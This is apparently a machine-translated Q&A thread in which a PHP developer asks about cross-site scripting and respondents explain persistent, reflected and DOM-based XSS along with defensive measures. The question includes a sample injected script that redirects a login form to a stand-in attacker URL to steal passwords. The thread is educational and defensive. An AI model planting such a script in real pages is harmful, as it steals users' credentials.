Ale*_*lan 12 html javascript php xss
我是一名PHP开发人员,我正在寻求提高我网站的安全性.
据我所知,以下是影响Web应用程序的两种主要类型的漏洞:
可以使用预准备语句修复SQL注入 - 简单.
但我仍然没有真正得到XSS - 以下是XSS的一个例子吗?...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
Run Code Online (Sandbox Code Playgroud)
http://somehackysite.com/givemyourpw.php,然后用户的帐户详细信息被盗.所以我在这里有三个问题:
XSS攻击有两种类型:反射XSS攻击和持久XSS攻击.您所描述的内容,即站点用户输入在服务器端保存的数据,并为查看页面的任何人呈现的数据被视为持久性XSS.类似的攻击将是如果你的帖子上有一个没有逃脱Javascript的评论框,或者我可以放入任何内容的个人资料页面.
另一类XSS攻击是Reflected XSS.这些稍微复杂一点,但它们相当于URL中没有被转义的参数之一.他们经常出现在大型网站上搜索页面等内容.你会得到一个包含一些javascript的URL(对不起,我的例子在这里被渲染器破坏了,所以我无法向你展示一个例子),页面将呈现允许某人制作恶意的javascript URL.这些在提供任何财务数据的网站上尤其危险; 想象一个尽职尽责的用户总是检查以确保他们要去他们银行的写链接,但是由于反映的XSS攻击,攻击者能够将他们发送到他们银行网站上的合法页面,但这有恶意代码在里面.
无论如何,您的示例是Persistent XSS.你可以通过这样的攻击做更多邪恶的事情,而不仅仅是改变登录表单发送用户的位置.他们多年来一直很受欢迎,比如从网站的个人区域抓取信息,或者与CSRF结合使用,只需查看页面就可以让经过身份验证的用户做一些事情.之前有一些MySpace病毒可以做到这一点,并从配置文件传播到配置文件.
这是XSS吗?
是的,这通常是一个注入缺陷,在这个特殊情况下会被称为XSS漏洞,因为它是注入的JavaScript.
但是这种注入缺陷,其中一个用户的输入被反映给其他用户而没有任何改变,也可能导致其他攻击,如污损.
这会有用吗?
是的,这很有可能,因为它是服务此代码的原始服务器,就像网页中的任何其他代码一样.所以这就像网站的作者是这个代码的创始人一样,也将被对待.
除了转义HTML之外,开发人员应该采取哪些预防措施来对抗XSS?
实际上有三种不同类型的XSS:基于DOM的XSS,Reflected XSS和Stored/persistent XSS.您的示例是存储/持久XSS漏洞,因为服务器会在每个请求中部署漏洞.
一般规则是不信任任何用户输入.这表示应该允许有效的用户输入或者在输出之前过滤用户输入(删除无效值)或正确编码(转换无效值).有关详细信息,请参阅OWASP的XSS备忘单.